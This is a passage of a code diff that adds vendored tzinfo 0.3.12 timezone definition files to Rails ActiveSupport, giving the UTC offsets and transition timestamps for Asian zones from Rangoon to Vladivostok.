+ tz.transition 2021, 3, :o4, 1616875200 + tz.transition 2021, 10, :o1, 1635624000 + tz.transition 2022, 3, :o4, 1648324800 + tz.transition 2022, 10, :o1, 1667073600 + tz.transition 2023, 3, :o4, 1679774400 + tz.transition 2023, 10, :o1, 1698523200 + tz.transition 2024, 3, :o4, 1711828800 + tz.transition 2024, 10, :o1, 1729972800 + tz.transition 2025, 3, :o4, 1743278400 + tz.transition 2025, 10, :o1, 1761422400 + tz.transition 2026, 3, :o4, 1774728000 + tz.transition 2026, 10, :o1, 1792872000 + tz.transition 2027, 3, :o4, 1806177600 + tz.transition 2027, 10, :o1, 1824926400 + tz.transition 2028, 3, :o4, 1837627200 + tz.transition 2028, 10, :o1, 1856376000 + tz.transition 2029, 3, :o4, 1869076800 + tz.transition 2029, 10, :o1, 1887825600 + tz.transition 2030, 3, :o4, 1901131200 + tz.transition 2030, 10, :o1, 1919275200 + tz.transition 2031, 3, :o4, 1932580800 + tz.transition 2031, 10, :o1, 1950724800 + tz.transition 2032, 3, :o4, 1964030400 + tz.transition 2032, 10, :o1, 1982779200 + tz.transition 2033, 3, :o4, 1995480000 + tz.transition 2033, 10, :o1, 2014228800 + tz.transition 2034, 3, :o4, 2026929600 + tz.transition 2034, 10, :o1, 2045678400 + tz.transition 2035, 3, :o4, 2058379200 + tz.transition 2035, 10, :o1, 2077128000 + tz.transition 2036, 3, :o4, 2090433600 + tz.transition 2036, 10, :o1, 2108577600 + tz.transition 2037, 3, :o4, 2121883200 + tz.transition 2037, 10, :o1, 2140027200 + tz.transition 2038, 3, :o4, 7396531, 3 + tz.transition 2038, 10, :o1, 7397182, 3 + tz.transition 2039, 3, :o4, 7397623, 3 + tz.transition 2039, 10, :o1, 7398274, 3 + tz.transition 2040, 3, :o4, 7398715, 3 + tz.transition 2040, 10, :o1, 7399366, 3 + tz.transition 2041, 3, :o4, 7399828, 3 + tz.transition 2041, 10, :o1, 7400458, 3 + tz.transition 2042, 3, :o4, 7400920, 3 + tz.transition 2042, 10, :o1, 7401550, 3 + tz.transition 2043, 3, :o4, 7402012, 3 + tz.transition 2043, 10, :o1, 7402642, 3 + tz.transition 2044, 3, :o4, 7403104, 3 + tz.transition 2044, 10, :o1, 7403755, 3 + tz.transition 2045, 3, :o4, 7404196, 3 + tz.transition 2045, 10, :o1, 7404847, 3 + tz.transition 2046, 3, :o4, 7405288, 3 + tz.transition 2046, 10, :o1, 7405939, 3 + tz.transition 2047, 3, :o4, 7406401, 3 + tz.transition 2047, 10, :o1, 7407031, 3 + tz.transition 2048, 3, :o4, 7407493, 3 + tz.transition 2048, 10, :o1, 7408123, 3 + tz.transition 2049, 3, :o4, 7408585, 3 + tz.transition 2049, 10, :o1, 7409236, 3 + tz.transition 2050, 3, :o4, 7409677, 3 + tz.transition 2050, 10, :o1, 7410328, 3 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Rangoon.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Rangoon.rb new file mode 100644 index 00000000..759b82d7 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Rangoon.rb @@ -0,0 +1,24 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Rangoon + include TimezoneDefinition + + timezone 'Asia/Rangoon' do |tz| + tz.offset :o0, 23080, 0, :LMT + tz.offset :o1, 23076, 0, :RMT + tz.offset :o2, 23400, 0, :BURT + tz.offset :o3, 32400, 0, :JST + tz.offset :o4, 23400, 0, :MMT + + tz.transition 1879, 12, :o1, 5200664903, 2160 + tz.transition 1919, 12, :o2, 5813578159, 2400 + tz.transition 1942, 4, :o3, 116663051, 48 + tz.transition 1945, 5, :o4, 19452625, 8 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Riyadh.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Riyadh.rb new file mode 100644 index 00000000..7add4106 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Riyadh.rb @@ -0,0 +1,18 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Riyadh + include TimezoneDefinition + + timezone 'Asia/Riyadh' do |tz| + tz.offset :o0, 11212, 0, :LMT + tz.offset :o1, 10800, 0, :AST + + tz.transition 1949, 12, :o1, 52558899197, 21600 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Seoul.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Seoul.rb new file mode 100644 index 00000000..795d2a75 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Seoul.rb @@ -0,0 +1,34 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Seoul + include TimezoneDefinition + + timezone 'Asia/Seoul' do |tz| + tz.offset :o0, 30472, 0, :LMT + tz.offset :o1, 30600, 0, :KST + tz.offset :o2, 32400, 0, :KST + tz.offset :o3, 28800, 0, :KST + tz.offset :o4, 28800, 3600, :KDT + tz.offset :o5, 32400, 3600, :KDT + + tz.transition 1889, 12, :o1, 26042775991, 10800 + tz.transition 1904, 11, :o2, 116007127, 48 + tz.transition 1927, 12, :o1, 19401969, 8 + tz.transition 1931, 12, :o2, 116481943, 48 + tz.transition 1954, 3, :o3, 19478577, 8 + tz.transition 1960, 5, :o4, 14622415, 6 + tz.transition 1960, 9, :o3, 19497521, 8 + tz.transition 1961, 8, :o1, 14625127, 6 + tz.transition 1968, 9, :o2, 117126247, 48 + tz.transition 1987, 5, :o5, 547570800 + tz.transition 1987, 10, :o2, 560872800 + tz.transition 1988, 5, :o5, 579020400 + tz.transition 1988, 10, :o2, 592322400 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Shanghai.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Shanghai.rb new file mode 100644 index 00000000..34b13d59 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Shanghai.rb @@ -0,0 +1,35 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Shanghai + include TimezoneDefinition + + timezone 'Asia/Shanghai' do |tz| + tz.offset :o0, 29152, 0, :LMT + tz.offset :o1, 28800, 0, :CST + tz.offset :o2, 28800, 3600, :CDT + + tz.transition 1927, 12, :o1, 6548164639, 2700 + tz.transition 1940, 6, :o2, 14578699, 6 + tz.transition 1940, 9, :o1, 19439225, 8 + tz.transition 1941, 3, :o2, 14580415, 6 + tz.transition 1941, 9, :o1, 19442145, 8 + tz.transition 1986, 5, :o2, 515520000 + tz.transition 1986, 9, :o1, 527007600 + tz.transition 1987, 4, :o2, 545155200 + tz.transition 1987, 9, :o1, 558457200 + tz.transition 1988, 4, :o2, 576604800 + tz.transition 1988, 9, :o1, 589906800 + tz.transition 1989, 4, :o2, 608659200 + tz.transition 1989, 9, :o1, 621961200 + tz.transition 1990, 4, :o2, 640108800 + tz.transition 1990, 9, :o1, 653410800 + tz.transition 1991, 4, :o2, 671558400 + tz.transition 1991, 9, :o1, 684860400 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Singapore.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Singapore.rb new file mode 100644 index 00000000..b323a78f --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Singapore.rb @@ -0,0 +1,33 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Singapore + include TimezoneDefinition + + timezone 'Asia/Singapore' do |tz| + tz.offset :o0, 24925, 0, :LMT + tz.offset :o1, 24925, 0, :SMT + tz.offset :o2, 25200, 0, :MALT + tz.offset :o3, 25200, 1200, :MALST + tz.offset :o4, 26400, 0, :MALT + tz.offset :o5, 27000, 0, :MALT + tz.offset :o6, 32400, 0, :JST + tz.offset :o7, 27000, 0, :SGT + tz.offset :o8, 28800, 0, :SGT + + tz.transition 1900, 12, :o1, 8347571291, 3456 + tz.transition 1905, 5, :o2, 8353142363, 3456 + tz.transition 1932, 12, :o3, 58249757, 24 + tz.transition 1935, 12, :o4, 87414055, 36 + tz.transition 1941, 8, :o5, 87488575, 36 + tz.transition 1942, 2, :o6, 38886499, 16 + tz.transition 1945, 9, :o5, 19453681, 8 + tz.transition 1965, 8, :o7, 39023699, 16 + tz.transition 1981, 12, :o8, 378664200 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Taipei.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Taipei.rb new file mode 100644 index 00000000..3ba12108 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Taipei.rb @@ -0,0 +1,59 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Taipei + include TimezoneDefinition + + timezone 'Asia/Taipei' do |tz| + tz.offset :o0, 29160, 0, :LMT + tz.offset :o1, 28800, 0, :CST + tz.offset :o2, 28800, 3600, :CDT + + tz.transition 1895, 12, :o1, 193084733, 80 + tz.transition 1945, 4, :o2, 14589457, 6 + tz.transition 1945, 9, :o1, 19453833, 8 + tz.transition 1946, 4, :o2, 14591647, 6 + tz.transition 1946, 9, :o1, 19456753, 8 + tz.transition 1947, 4, :o2, 14593837, 6 + tz.transition 1947, 9, :o1, 19459673, 8 + tz.transition 1948, 4, :o2, 14596033, 6 + tz.transition 1948, 9, :o1, 19462601, 8 + tz.transition 1949, 4, :o2, 14598223, 6 + tz.transition 1949, 9, :o1, 19465521, 8 + tz.transition 1950, 4, :o2, 14600413, 6 + tz.transition 1950, 9, :o1, 19468441, 8 + tz.transition 1951, 4, :o2, 14602603, 6 + tz.transition 1951, 9, :o1, 19471361, 8 + tz.transition 1952, 2, :o2, 14604433, 6 + tz.transition 1952, 10, :o1, 19474537, 8 + tz.transition 1953, 3, :o2, 14606809, 6 + tz.transition 1953, 10, :o1, 19477457, 8 + tz.transition 1954, 3, :o2, 14608999, 6 + tz.transition 1954, 10, :o1, 19480377, 8 + tz.transition 1955, 3, :o2, 14611189, 6 + tz.transition 1955, 9, :o1, 19483049, 8 + tz.transition 1956, 3, :o2, 14613385, 6 + tz.transition 1956, 9, :o1, 19485977, 8 + tz.transition 1957, 3, :o2, 14615575, 6 + tz.transition 1957, 9, :o1, 19488897, 8 + tz.transition 1958, 3, :o2, 14617765, 6 + tz.transition 1958, 9, :o1, 19491817, 8 + tz.transition 1959, 3, :o2, 14619955, 6 + tz.transition 1959, 9, :o1, 19494737, 8 + tz.transition 1960, 5, :o2, 14622517, 6 + tz.transition 1960, 9, :o1, 19497665, 8 + tz.transition 1961, 5, :o2, 14624707, 6 + tz.transition 1961, 9, :o1, 19500585, 8 + tz.transition 1974, 3, :o2, 133977600 + tz.transition 1974, 9, :o1, 149785200 + tz.transition 1975, 3, :o2, 165513600 + tz.transition 1975, 9, :o1, 181321200 + tz.transition 1980, 6, :o2, 331142400 + tz.transition 1980, 9, :o1, 339087600 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tashkent.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tashkent.rb new file mode 100644 index 00000000..c205c793 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tashkent.rb @@ -0,0 +1,47 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Tashkent + include TimezoneDefinition + + timezone 'Asia/Tashkent' do |tz| + tz.offset :o0, 16632, 0, :LMT + tz.offset :o1, 18000, 0, :TAST + tz.offset :o2, 21600, 0, :TAST + tz.offset :o3, 21600, 3600, :TASST + tz.offset :o4, 18000, 3600, :TASST + tz.offset :o5, 18000, 3600, :UZST + tz.offset :o6, 18000, 0, :UZT + + tz.transition 1924, 5, :o1, 969562923, 400 + tz.transition 1930, 6, :o2, 58227559, 24 + tz.transition 1981, 3, :o3, 354909600 + tz.transition 1981, 9, :o2, 370717200 + tz.transition 1982, 3, :o3, 386445600 + tz.transition 1982, 9, :o2, 402253200 + tz.transition 1983, 3, :o3, 417981600 + tz.transition 1983, 9, :o2, 433789200 + tz.transition 1984, 3, :o3, 449604000 + tz.transition 1984, 9, :o2, 465336000 + tz.transition 1985, 3, :o3, 481060800 + tz.transition 1985, 9, :o2, 496785600 + tz.transition 1986, 3, :o3, 512510400 + tz.transition 1986, 9, :o2, 528235200 + tz.transition 1987, 3, :o3, 543960000 + tz.transition 1987, 9, :o2, 559684800 + tz.transition 1988, 3, :o3, 575409600 + tz.transition 1988, 9, :o2, 591134400 + tz.transition 1989, 3, :o3, 606859200 + tz.transition 1989, 9, :o2, 622584000 + tz.transition 1990, 3, :o3, 638308800 + tz.transition 1990, 9, :o2, 654638400 + tz.transition 1991, 3, :o4, 670363200 + tz.transition 1991, 8, :o5, 683661600 + tz.transition 1991, 9, :o6, 686091600 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tbilisi.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tbilisi.rb new file mode 100644 index 00000000..15792a56 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tbilisi.rb @@ -0,0 +1,78 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Tbilisi + include TimezoneDefinition + + timezone 'Asia/Tbilisi' do |tz| + tz.offset :o0, 10756, 0, :LMT + tz.offset :o1, 10756, 0, :TBMT + tz.offset :o2, 10800, 0, :TBIT + tz.offset :o3, 14400, 0, :TBIT + tz.offset :o4, 14400, 3600, :TBIST + tz.offset :o5, 10800, 3600, :TBIST + tz.offset :o6, 10800, 3600, :GEST + tz.offset :o7, 10800, 0, :GET + tz.offset :o8, 14400, 0, :GET + tz.offset :o9, 14400, 3600, :GEST + + tz.transition 1879, 12, :o1, 52006652111, 21600 + tz.transition 1924, 5, :o2, 52356399311, 21600 + tz.transition 1957, 2, :o3, 19487187, 8 + tz.transition 1981, 3, :o4, 354916800 + tz.transition 1981, 9, :o3, 370724400 + tz.transition 1982, 3, :o4, 386452800 + tz.transition 1982, 9, :o3, 402260400 + tz.transition 1983, 3, :o4, 417988800 + tz.transition 1983, 9, :o3, 433796400 + tz.transition 1984, 3, :o4, 449611200 + tz.transition 1984, 9, :o3, 465343200 + tz.transition 1985, 3, :o4, 481068000 + tz.transition 1985, 9, :o3, 496792800 + tz.transition 1986, 3, :o4, 512517600 + tz.transition 1986, 9, :o3, 528242400 + tz.transition 1987, 3, :o4, 543967200 + tz.transition 1987, 9, :o3, 559692000 + tz.transition 1988, 3, :o4, 575416800 + tz.transition 1988, 9, :o3, 591141600 + tz.transition 1989, 3, :o4, 606866400 + tz.transition 1989, 9, :o3, 622591200 + tz.transition 1990, 3, :o4, 638316000 + tz.transition 1990, 9, :o3, 654645600 + tz.transition 1991, 3, :o5, 670370400 + tz.transition 1991, 4, :o6, 671140800 + tz.transition 1991, 9, :o7, 686098800 + tz.transition 1992, 3, :o6, 701816400 + tz.transition 1992, 9, :o7, 717537600 + tz.transition 1993, 3, :o6, 733266000 + tz.transition 1993, 9, :o7, 748987200 + tz.transition 1994, 3, :o6, 764715600 + tz.transition 1994, 9, :o8, 780436800 + tz.transition 1995, 3, :o9, 796161600 + tz.transition 1995, 9, :o8, 811882800 + tz.transition 1996, 3, :o9, 828216000 + tz.transition 1997, 3, :o9, 859662000 + tz.transition 1997, 10, :o8, 877806000 + tz.transition 1998, 3, :o9, 891115200 + tz.transition 1998, 10, :o8, 909255600 + tz.transition 1999, 3, :o9, 922564800 + tz.transition 1999, 10, :o8, 941310000 + tz.transition 2000, 3, :o9, 954014400 + tz.transition 2000, 10, :o8, 972759600 + tz.transition 2001, 3, :o9, 985464000 + tz.transition 2001, 10, :o8, 1004209200 + tz.transition 2002, 3, :o9, 1017518400 + tz.transition 2002, 10, :o8, 1035658800 + tz.transition 2003, 3, :o9, 1048968000 + tz.transition 2003, 10, :o8, 1067108400 + tz.transition 2004, 3, :o9, 1080417600 + tz.transition 2004, 6, :o6, 1088276400 + tz.transition 2004, 10, :o7, 1099177200 + tz.transition 2005, 3, :o8, 1111878000 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tehran.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tehran.rb new file mode 100644 index 00000000..d8df964a --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tehran.rb @@ -0,0 +1,121 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Tehran + include TimezoneDefinition + + timezone 'Asia/Tehran' do |tz| + tz.offset :o0, 12344, 0, :LMT + tz.offset :o1, 12344, 0, :TMT + tz.offset :o2, 12600, 0, :IRST + tz.offset :o3, 14400, 0, :IRST + tz.offset :o4, 14400, 3600, :IRDT + tz.offset :o5, 12600, 3600, :IRDT + + tz.transition 1915, 12, :o1, 26145324257, 10800 + tz.transition 1945, 12, :o2, 26263670657, 10800 + tz.transition 1977, 10, :o3, 247177800 + tz.transition 1978, 3, :o4, 259272000 + tz.transition 1978, 10, :o3, 277758000 + tz.transition 1978, 12, :o2, 283982400 + tz.transition 1979, 3, :o5, 290809800 + tz.transition 1979, 9, :o2, 306531000 + tz.transition 1980, 3, :o5, 322432200 + tz.transition 1980, 9, :o2, 338499000 + tz.transition 1991, 5, :o5, 673216200 + tz.transition 1991, 9, :o2, 685481400 + tz.transition 1992, 3, :o5, 701209800 + tz.transition 1992, 9, :o2, 717103800 + tz.transition 1993, 3, :o5, 732745800 + tz.transition 1993, 9, :o2, 748639800 + tz.transition 1994, 3, :o5, 764281800 + tz.transition 1994, 9, :o2, 780175800 + tz.transition 1995, 3, :o5, 795817800 + tz.transition 1995, 9, :o2, 811711800 + tz.transition 1996, 3, :o5, 827353800 + tz.transition 1996, 9, :o2, 843247800 + tz.transition 1997, 3, :o5, 858976200 + tz.transition 1997, 9, :o2, 874870200 + tz.transition 1998, 3, :o5, 890512200 + tz.transition 1998, 9, :o2, 906406200 + tz.transition 1999, 3, :o5, 922048200 + tz.transition 1999, 9, :o2, 937942200 + tz.transition 2000, 3, :o5, 953584200 + tz.transition 2000, 9, :o2, 969478200 + tz.transition 2001, 3, :o5, 985206600 + tz.transition 2001, 9, :o2, 1001100600 + tz.transition 2002, 3, :o5, 1016742600 + tz.transition 2002, 9, :o2, 1032636600 + tz.transition 2003, 3, :o5, 1048278600 + tz.transition 2003, 9, :o2, 1064172600 + tz.transition 2004, 3, :o5, 1079814600 + tz.transition 2004, 9, :o2, 1095708600 + tz.transition 2005, 3, :o5, 1111437000 + tz.transition 2005, 9, :o2, 1127331000 + tz.transition 2008, 3, :o5, 1206045000 + tz.transition 2008, 9, :o2, 1221939000 + tz.transition 2009, 3, :o5, 1237667400 + tz.transition 2009, 9, :o2, 1253561400 + tz.transition 2010, 3, :o5, 1269203400 + tz.transition 2010, 9, :o2, 1285097400 + tz.transition 2011, 3, :o5, 1300739400 + tz.transition 2011, 9, :o2, 1316633400 + tz.transition 2012, 3, :o5, 1332275400 + tz.transition 2012, 9, :o2, 1348169400 + tz.transition 2013, 3, :o5, 1363897800 + tz.transition 2013, 9, :o2, 1379791800 + tz.transition 2014, 3, :o5, 1395433800 + tz.transition 2014, 9, :o2, 1411327800 + tz.transition 2015, 3, :o5, 1426969800 + tz.transition 2015, 9, :o2, 1442863800 + tz.transition 2016, 3, :o5, 1458505800 + tz.transition 2016, 9, :o2, 1474399800 + tz.transition 2017, 3, :o5, 1490128200 + tz.transition 2017, 9, :o2, 1506022200 + tz.transition 2018, 3, :o5, 1521664200 + tz.transition 2018, 9, :o2, 1537558200 + tz.transition 2019, 3, :o5, 1553200200 + tz.transition 2019, 9, :o2, 1569094200 + tz.transition 2020, 3, :o5, 1584736200 + tz.transition 2020, 9, :o2, 1600630200 + tz.transition 2021, 3, :o5, 1616358600 + tz.transition 2021, 9, :o2, 1632252600 + tz.transition 2022, 3, :o5, 1647894600 + tz.transition 2022, 9, :o2, 1663788600 + tz.transition 2023, 3, :o5, 1679430600 + tz.transition 2023, 9, :o2, 1695324600 + tz.transition 2024, 3, :o5, 1710966600 + tz.transition 2024, 9, :o2, 1726860600 + tz.transition 2025, 3, :o5, 1742589000 + tz.transition 2025, 9, :o2, 1758483000 + tz.transition 2026, 3, :o5, 1774125000 + tz.transition 2026, 9, :o2, 1790019000 + tz.transition 2027, 3, :o5, 1805661000 + tz.transition 2027, 9, :o2, 1821555000 + tz.transition 2028, 3, :o5, 1837197000 + tz.transition 2028, 9, :o2, 1853091000 + tz.transition 2029, 3, :o5, 1868733000 + tz.transition 2029, 9, :o2, 1884627000 + tz.transition 2030, 3, :o5, 1900355400 + tz.transition 2030, 9, :o2, 1916249400 + tz.transition 2031, 3, :o5, 1931891400 + tz.transition 2031, 9, :o2, 1947785400 + tz.transition 2032, 3, :o5, 1963427400 + tz.transition 2032, 9, :o2, 1979321400 + tz.transition 2033, 3, :o5, 1994963400 + tz.transition 2033, 9, :o2, 2010857400 + tz.transition 2034, 3, :o5, 2026585800 + tz.transition 2034, 9, :o2, 2042479800 + tz.transition 2035, 3, :o5, 2058121800 + tz.transition 2035, 9, :o2, 2074015800 + tz.transition 2036, 3, :o5, 2089657800 + tz.transition 2036, 9, :o2, 2105551800 + tz.transition 2037, 3, :o5, 2121193800 + tz.transition 2037, 9, :o2, 2137087800 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tokyo.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tokyo.rb new file mode 100644 index 00000000..51c9e164 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Tokyo.rb @@ -0,0 +1,30 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Tokyo + include TimezoneDefinition + + timezone 'Asia/Tokyo' do |tz| + tz.offset :o0, 33539, 0, :LMT + tz.offset :o1, 32400, 0, :JST + tz.offset :o2, 32400, 0, :CJT + tz.offset :o3, 32400, 3600, :JDT + + tz.transition 1887, 12, :o1, 19285097, 8 + tz.transition 1895, 12, :o2, 19308473, 8 + tz.transition 1937, 12, :o1, 19431193, 8 + tz.transition 1948, 5, :o3, 58384157, 24 + tz.transition 1948, 9, :o1, 14596831, 6 + tz.transition 1949, 4, :o3, 58392221, 24 + tz.transition 1949, 9, :o1, 14599015, 6 + tz.transition 1950, 5, :o3, 58401797, 24 + tz.transition 1950, 9, :o1, 14601199, 6 + tz.transition 1951, 5, :o3, 58410533, 24 + tz.transition 1951, 9, :o1, 14603383, 6 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Ulaanbaatar.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Ulaanbaatar.rb new file mode 100644 index 00000000..2854f5c5 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Ulaanbaatar.rb @@ -0,0 +1,65 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Ulaanbaatar + include TimezoneDefinition + + timezone 'Asia/Ulaanbaatar' do |tz| + tz.offset :o0, 25652, 0, :LMT + tz.offset :o1, 25200, 0, :ULAT + tz.offset :o2, 28800, 0, :ULAT + tz.offset :o3, 28800, 3600, :ULAST + + tz.transition 1905, 7, :o1, 52208457187, 21600 + tz.transition 1977, 12, :o2, 252435600 + tz.transition 1983, 3, :o3, 417974400 + tz.transition 1983, 9, :o2, 433782000 + tz.transition 1984, 3, :o3, 449596800 + tz.transition 1984, 9, :o2, 465318000 + tz.transition 1985, 3, :o3, 481046400 + tz.transition 1985, 9, :o2, 496767600 + tz.transition 1986, 3, :o3, 512496000 + tz.transition 1986, 9, :o2, 528217200 + tz.transition 1987, 3, :o3, 543945600 + tz.transition 1987, 9, :o2, 559666800 + tz.transition 1988, 3, :o3, 575395200 + tz.transition 1988, 9, :o2, 591116400 + tz.transition 1989, 3, :o3, 606844800 + tz.transition 1989, 9, :o2, 622566000 + tz.transition 1990, 3, :o3, 638294400 + tz.transition 1990, 9, :o2, 654620400 + tz.transition 1991, 3, :o3, 670348800 + tz.transition 1991, 9, :o2, 686070000 + tz.transition 1992, 3, :o3, 701798400 + tz.transition 1992, 9, :o2, 717519600 + tz.transition 1993, 3, :o3, 733248000 + tz.transition 1993, 9, :o2, 748969200 + tz.transition 1994, 3, :o3, 764697600 + tz.transition 1994, 9, :o2, 780418800 + tz.transition 1995, 3, :o3, 796147200 + tz.transition 1995, 9, :o2, 811868400 + tz.transition 1996, 3, :o3, 828201600 + tz.transition 1996, 9, :o2, 843922800 + tz.transition 1997, 3, :o3, 859651200 + tz.transition 1997, 9, :o2, 875372400 + tz.transition 1998, 3, :o3, 891100800 + tz.transition 1998, 9, :o2, 906822000 + tz.transition 2001, 4, :o3, 988394400 + tz.transition 2001, 9, :o2, 1001696400 + tz.transition 2002, 3, :o3, 1017424800 + tz.transition 2002, 9, :o2, 1033146000 + tz.transition 2003, 3, :o3, 1048874400 + tz.transition 2003, 9, :o2, 1064595600 + tz.transition 2004, 3, :o3, 1080324000 + tz.transition 2004, 9, :o2, 1096045200 + tz.transition 2005, 3, :o3, 1111773600 + tz.transition 2005, 9, :o2, 1127494800 + tz.transition 2006, 3, :o3, 1143223200 + tz.transition 2006, 9, :o2, 1159549200 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Urumqi.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Urumqi.rb new file mode 100644 index 00000000..d793ff13 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Urumqi.rb @@ -0,0 +1,33 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Urumqi + include TimezoneDefinition + + timezone 'Asia/Urumqi' do |tz| + tz.offset :o0, 21020, 0, :LMT + tz.offset :o1, 21600, 0, :URUT + tz.offset :o2, 28800, 0, :CST + tz.offset :o3, 28800, 3600, :CDT + + tz.transition 1927, 12, :o1, 10477063829, 4320 + tz.transition 1980, 4, :o2, 325965600 + tz.transition 1986, 5, :o3, 515520000 + tz.transition 1986, 9, :o2, 527007600 + tz.transition 1987, 4, :o3, 545155200 + tz.transition 1987, 9, :o2, 558457200 + tz.transition 1988, 4, :o3, 576604800 + tz.transition 1988, 9, :o2, 589906800 + tz.transition 1989, 4, :o3, 608659200 + tz.transition 1989, 9, :o2, 621961200 + tz.transition 1990, 4, :o3, 640108800 + tz.transition 1990, 9, :o2, 653410800 + tz.transition 1991, 4, :o3, 671558400 + tz.transition 1991, 9, :o2, 684860400 + end + end + end + end +end diff --git a/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Vladivostok.rb b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Vladivostok.rb new file mode 100644 index 00000000..bd9e3d60 --- /dev/null +++ b/vendor/rails/activesupport/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Asia/Vladivostok.rb @@ -0,0 +1,164 @@ +require 'tzinfo/timezone_definition' + +module TZInfo + module Definitions + module Asia + module Vladivostok + include TimezoneDefinition + + timezone 'Asia/Vladivostok' do |tz| + tz.offset :o0, 31664, 0, :LMT + tz.offset :o1, 32400, 0, :VLAT + tz.offset :o2, 36000, 0, :VLAT + tz.offset :o3, 36000, 3600, :VLAST + tz.offset :o4, 32400, 3600, :VLASST + tz.offset :o5, 32400, 0, :VLAST + + tz.transition 1922, 11, :o1, 13086214921, 5400 + tz.transition 1930, 6, :o2, 19409185, 8 + tz.transition 1981, 3, :o3, 354895200 + tz.transition 1981, 9, :o2, 370702800 + tz.transition 1982, 3, :o3, 386431200 + tz.transition 1982, 9, :o2, 402238800 + tz.transition 1983, 3, :o3, 417967200 + tz.transition 1983, 9, :o2, 433774800 + tz.transition 1984, 3, :o3, 449589600 + tz.transition 1984, 9, :o2, 465321600 + tz.transition 1985, 3, :o3, 481046400 + tz.transition 1985, 9, :o2, 496771200 + tz.transition 1986, 3, :o3, 512496000 + 